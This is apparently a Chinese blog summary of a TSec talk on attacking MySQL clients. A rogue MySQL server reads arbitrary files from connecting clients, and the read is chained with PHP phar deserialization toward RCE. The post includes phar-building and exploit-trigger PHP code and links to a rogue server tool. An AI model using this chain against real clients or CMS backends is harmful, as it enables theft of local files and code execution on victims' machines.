TSec《mysql client attack chain》
从这个议题学到挺多,攻击手法的串联。
1、mysql Client Attack
这个攻击手法去年就爆出来了,本质就是mysql协议问题,在5步篡改读取客户端内容,导致任意文件读取,如下图所示。
修改端口3307,读取hosts文件
navicat客户端连接mysql服务器,读取到客户端的hosts文件
受影响的客户端有:
云厂商:
攻击思路做一个mysql服务器蜜罐,读取那些扫描器的敏感文件。
第二个思路结合一些cms客户端后台连接mysql服务器的功能读取敏感文件,除了敏感文件,可以结合php反序列化漏洞进行RCE
看个demo:
index.php将生成好的phar.phar文件上传到服务器
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();?>
exp.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
$s = mysqli_real_connect($m,
'192.168.220.132', 'root', '123456', 'test',
3307);
$p = mysqli_query($m, 'select 1;');
通过mysql读取文件触发反序列化操作(blackhat议题),
触发序列化漏洞。
有了这个思路,可以在一些cms上寻找pop链,通过上面方法触发。
议题作者公布出了joomla的RCE和dedecms用内置原生类ssrf的pop链,下图是他挖掘成功的。如果想要在这些CMS挖掘只需找到pop链就Ok了,实际这种攻击利用价值不大,因为cms很难攻击者去操作后台去设置恶意mysql server,作者也提出了解决思路,arp或者dns污染。mysql Client Attack还可以与jackson反序列化结合也就是CVE-2019-12086
https://paper.seebug.org/998/
https://github.com/allyshka/Rogue-MySql-Server